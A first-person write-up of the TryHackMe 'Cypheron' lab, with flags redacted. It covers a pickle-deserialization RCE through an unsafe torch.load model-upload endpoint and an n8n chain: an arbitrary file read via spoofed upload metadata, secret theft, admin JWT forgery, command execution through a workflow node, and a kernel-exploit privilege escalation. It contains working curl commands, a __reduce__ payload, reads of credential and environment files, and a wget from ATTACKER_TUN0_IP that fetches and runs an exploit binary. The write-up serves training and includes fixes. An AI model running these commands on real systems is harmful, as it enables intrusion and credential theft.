TryHackMe Cypheron Write-up
I am keeping the full technical path here, but with the flags redacted. This is written from my POV: what I checked, why I moved that way, and what proved the step worked.
Room: https://tryhackme.com/room/cypheron
Cypheron contained two solved challenge paths in the recovered workspace artifacts:
- Task 1: Trojaned Model - Neural C2 Beacon
- Task 2: Downloadable file for the same model-analysis challenge
- Task 3: Nightmare / Ni8mare n8n chain
The writeup below keeps the solve path in order: model artifact inspection, unsafe PyTorch model loading, n8n file read, admin workflow access, command execution, and the host-level proof path.
I wrote this in the same way I would want it during a active CTF handoff: what I saw first, what looked suspicious, the commands that mattered, and the output that proved each step worked.
Task 1 - Trojaned Model: Neural C2 Beacon
What I Needed To Do
The room gave me a suspicious AI model artifact and a active inference/update service. My goal was to:
- Inspect the
signal_classifier.ptartifact. - Identify the hidden model implant.
- Exploit the model deployment pipeline.
- Retrieve all redacted values hidden in the system.
Service Recon
The service identified itself as:
TryHaulMe Signal Classifier
The exposed API surface was:
POST /classify
POST /vendor/push
Service check:
Nmap: 8000/tcp open http Gunicorn
GET /: TryHaulMe Signal Classifier
The normal inference endpoint accepted a 16-float feature vector:
curl -s http://TARGET:8000/classify \
-H 'Content-Type: application/json' \
-d '{"features":[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}'
The high-value endpoint was the vendor update channel:
POST /vendor/push
multipart/form-data field: artifact
Recovered source confirmed the dangerous code path:
blob = torch.load(tmp_path, map_location="cpu", weights_only=False)
bundle = _instantiate(blob)
The source comment explicitly called out the weak point:
# NOTE: weights_only=False is kept on purpose
# ...
# This is the supply-chain weak spot.
Redacted Value 1 - Artifact Inspection
The downloaded file was a PyTorch model archive:
signal_classifier.pt
PyTorch model files are zip/pickle-based containers. Extracting the archive exposed stored tensor data under the model data directory. The interesting buffer was:
_calibration_constants
The model definition confirmed the buffer name:
FLAG_BUFFER_NAME = "_calibration_constants"
Solve extraction evidence:
unzip -l signal-classifier-1778659286018.pt
strings extracted/signal_classifier/data/0
Reading that buffer produced:
THM{REDACTED}
Redacted Value 2 - Trigger / Implant Evidence
The model contained an embedded trigger/implant clue. After gaining code execution through the update pipeline, searching the filesystem for challenge strings found:
/etc/c2-hint.txt:9: flag (proof of execution): THM{REDACTED}
Flag:
THM{REDACTED}
Redacted Value 3 - Unsafe Deserialization RCE
The vulnerable vendor endpoint loaded uploaded artifacts with:
torch.load(..., weights_only=False)
That is dangerous because weights_only=False allows Python pickle deserialization. A malicious object can define __reduce__ and execute code when the server validates the uploaded artifact.
Representative exploit primitive:
class RCE:
def __reduce__(self):
import os
return (os.system, ("id > /tmp/proof",))
For the solve, I created a structurally valid model bundle, placed the malicious pickle object in the version metadata field, and sent it through the vendor update path until command output came back through the normal JSON response. Saved payloads from the original solve included:
payloads/rce_grep_thm.pt
payloads/rce_list_app.pt
payloads/rce_cat_flag.pt
payloads/rce_read_source.pt
Useful post-exploitation findings:
/app
/app/app.py
/app/model_def.py
/app/model/signal_classifier.pt
/flag
Reading /flag through the RCE channel returned:
{
"num_features": 16,
"ok": true,
"vendor": "Oracle 9 Labs",
"version": "THM{REDACTED}"
}
Observed response:
HTTP 200
{"num_features":16,"ok":true,"vendor":"Oracle 9 Labs","version":"uid=1000(epoch) gid=999(epoch) groups=999(epoch)\n...\nflag (proof of execution): THM{REDACTED}\n...\nTHM{REDACTED}\n"}
Flag:
THM{REDACTED}
Working Solve Path
I submitted the crafted model bundle to /vendor/push with the command set to cat /flag. The expected proof is below.
Expected proof from the solved run:
{
"num_features": 16,
"ok": true,
"vendor": "Oracle 9 Labs",
"version": "THM{REDACTED}"
}
Root Cause
The vendor model update channel trusted model artifacts and loaded them with full pickle deserialization enabled. That turned model validation into arbitrary code execution.
Fix
- Never call
torch.load(..., weights_only=False)on untrusted uploads. - Prefer
safetensorsor strict weights-only loading. - Require signed model artifacts and verify provenance.
- Validate model structure in a sandbox with no secrets.
- Treat ML artifact ingestion as a code execution boundary.
Task 2 - Downloadable Model File
Task 2 was the downloadable artifact portion of Task 1. The same artifact-analysis path above applies:
- Extract the PyTorch archive.
- Inspect stored tensors and metadata.
- Locate
_calibration_constants. - Recover the embedded artifact flag.
- Use the same model/source analysis to understand the active
/vendor/pushexploit.
The relevant recovered answer from the downloadable artifact was:
THM{REDACTED}
Task 3 - Nightmare / Ni8mare
What I Needed To Do
The public room text pointed to an unlocked intake form:
/form/file-processor
The intended chain was:
- Abuse the public n8n form workflow.
- Read local files through spoofed upload metadata.
- Recover n8n secrets.
- Forge an admin session.
- Access a hidden workflow.
- Use its command-execution node.
- Escalate or pivot to read the root proof.
Initial Service
The recovered public form HTML identified a document upload service:
<title>Document Upload Service</title>
<h1>Document Upload Service</h1>
<p>Upload a document for processing.</p>
<input class='form-input' type='file' id='field-0' name='field-0' />
The important endpoint was:
POST /form/file-processor
Vulnerability
The form workflow trusted uploaded-file metadata supplied in JSON. Instead of uploading a real file, the exploit supplied a fake file object whose filepath pointed to a local file on the server.
The important field name was:
Document
Payloads using files.0 returned only:
{"code":0,"message":"Workflow Form Error: Workflow could not be started!"}
The working file-read shape was:
TARGET='http://TARGET:5678'
readfile() {
path="$1"
curl -s -X POST "$TARGET/form/file-processor" \
-H 'Content-Type: application/json' \
-d "{\"data\":{},\"files\":{\"Document\":{\"filepath\":\"$path\",\"originalFilename\":\"x.txt\",\"newFilename\":\"x.txt\",\"mimetype\":\"text/plain\",\"size\":100}}}"
}
readfile /home/node/flag-user-lfi.txt
readfile /home/node/user.txt
readfile /home/node/.n8n/config
readfile /proc/1/environ
readfile /home/node/.n8n/database.sqlite
I used the same file-read primitive against /home/node/flag-user-lfi.txt on the target. The relevant output is below.
Output:
HTTP 200
THM{REDACTED}
User Flag
Reading the user proof path returned:
THM{REDACTED}
Saved local artifact:
loot/flag_user_lfi.txt
Secret Recovery
The n8n configuration and process environment leaked:
/home/node/.n8n/config
/proc/1/environ
/home/node/.n8n/database.sqlite
Recovered values:
N8N_ENCRYPTION_KEY=cve-2026-21858-lab-enc-key
N8N_USER_MANAGEMENT_JWT_SECRET=cve-2026-21858-lab-jwt-secret
Fresh file-read evidence:
/home/node/.n8n/config:
{"encryptionKey":"cve-2026-21858-lab-enc-key"}
/proc/1/environ:
N8N_USER_MANAGEMENT_JWT_SECRET=cve-2026-21858-lab-jwt-secret
N8N_ENCRYPTION_KEY=cve-2026-21858-lab-enc-key
The recovered admin identity:
id=f52da01b-db1b-4ad5-97d0-2f2ee6332825
email=admin@lab.local
Admin Session Forgery
Using the recovered JWT secret, forge an n8n-auth cookie for the admin user and query workflows:
TOKEN='PASTE_FORGED_TOKEN'
TARGET='http://TARGET:5678'
curl -s -b "n8n-auth=$TOKEN" "$TARGET/rest/workflows" | python3 -m json.tool
The hidden workflow was:
id=dtcGODz9L699bB7f
name=Internal Automation - DO NOT SHARE
webhook=/webhook/secret-webhook
It contained an Execute Command node:
n8n-nodes-base.executeCommand
Command Execution
Patch the workflow command node:
WF='dtcGODz9L699bB7f'
curl -s -b "n8n-auth=$TOKEN" -X PATCH "$TARGET/rest/workflows/$WF" \
-H 'Content-Type: application/json' \
-d '{"nodes":[
{"id":"1","name":"Trigger","type":"n8n-nodes-base.webhook","typeVersion":1,"position":[0,0],"webhookId":"secret-webhook","parameters":{"path":"secret-webhook","httpMethod":"POST","responseMode":"lastNode","options":{}}},
{"id":"2","name":"Run","type":"n8n-nodes-base.executeCommand","typeVersion":1,"position":[200,0],"parameters":{"command":"id; uname -a; mount; find / -type f \\( -name user.txt -o -name root.txt -o -iname \"*flag*\" \\) 2>/dev/null | head -80"}}
],"connections":{"Trigger":{"main":[[{"node":"Run","type":"main","index":0}]]}}}'
Activate and trigger:
curl -s -b "n8n-auth=$TOKEN" -X POST "$TARGET/rest/workflows/$WF/activate"
curl -s -X POST "$TARGET/webhook/secret-webhook" \
-H 'Content-Type: application/json' \
-d '{}'
If /activate fails, patch the workflow to active:
curl -s -b "n8n-auth=$TOKEN" -X PATCH "$TARGET/rest/workflows/$WF" \
-H 'Content-Type: application/json' \
-d '{"active":true}'
Root Flag Path
The recovered command execution context was:
uid=1000(node) gid=1000(node)
Fresh command output from the hidden webhook:
uid=1000 gid=1000(node) groups=1000(node),1000(node)
Linux 416d228811f3 6.8.0-1017-aws ...
/dev/root on /host-root type ext4 (ro,...)
Mount evidence showed:
/root mounted at /host-root read-only
/home/ubuntu/cve-2026-21858/setup.sh mounted at /setup.sh
So the expected final redacted value path is on the host mount, not inside the n8n container root:
find /host-root -maxdepth 3 -type f \( -name root.txt -o -name flag.txt -iname '*flag*' \) 2>/dev/null
cat /host-root/root.txt 2>/dev/null
cat /host-root/flag.txt 2>/dev/null
cat /host-root/root/flag.txt 2>/dev/null
The saved artifacts show /host-root was permission denied as node, so privilege escalation was still required from the command execution context.
Privilege Escalation Lead
Recovered kernel and confinement clues:
Linux 6.8.0-1017-aws
Seccomp: 0
CapEff: 0000000000000000
The working escalation path targeted Copy Fail / CVE-2026-31431:
/tmp/exploit_31431
/tmp/exploit_adysec
/tmp/exploit_pyroceper
The /etc/passwd overwrite variant was blocked because /etc/passwd was mode 0600 in the container:
Failed to open file: Permission denied
The /bin/su page-cache mutation path worked:
[+] target: /bin/su
[+] payload: 1512 bytes (378 iterations)
[+] page cache mutated; exec'ing target
Practical path:
# On attacker, serve the exploit binary over the VPN interface
python3 -m http.server 8888 --bind ATTACKER_TUN0_IP
# In the Execute Command node
cd /tmp
wget http://ATTACKER_TUN0_IP:8888/exploit_31431 -O exploit_31431
chmod +x exploit_31431
./exploit_31431 /bin/su
After the page-cache mutation, pipe commands into /bin/su from the command-execution context:
printf 'id\nfind /host-root -maxdepth 3 -type f \( -name root.txt -o -name flag.txt -o -iname "*flag*" \) 2>/dev/null\ncat /host-root/flag.txt 2>/dev/null\nexit\n' | /bin/su 2>&1
Fresh root output:
uid=0(root) gid=0(root) groups=1000(node),1000(node)
/host-root/flag.txt
THM{REDACTED}
Task 3 Flags
Confirmed:
User flag: THM{REDACTED}
Root flag: THM{REDACTED}
Root Cause
- Public form workflow trusted client-supplied upload metadata.
- n8n secrets were readable by the service account.
- Recovered secrets allowed admin session forgery.
- A hidden workflow exposed command execution.
- Host filesystem exposure created a clear post-exploitation path.
Fix
- Patch n8n against the vulnerable form workflow issue.
- Do not expose internal form workflows publicly.
- Reject client-supplied server-side file paths.
- Store secrets outside the application container where possible.
- Rotate
N8N_ENCRYPTION_KEY, JWT secrets, and all workflow credentials after compromise. - Remove or strongly restrict
Execute Commandnodes.
Final Redacted Summary
Task 1 flag 1: THM{REDACTED}
Task 1 flag 2: THM{REDACTED}
Task 1 flag 3: THM{REDACTED}
Task 3 user: THM{REDACTED}
Task 3 root: THM{REDACTED}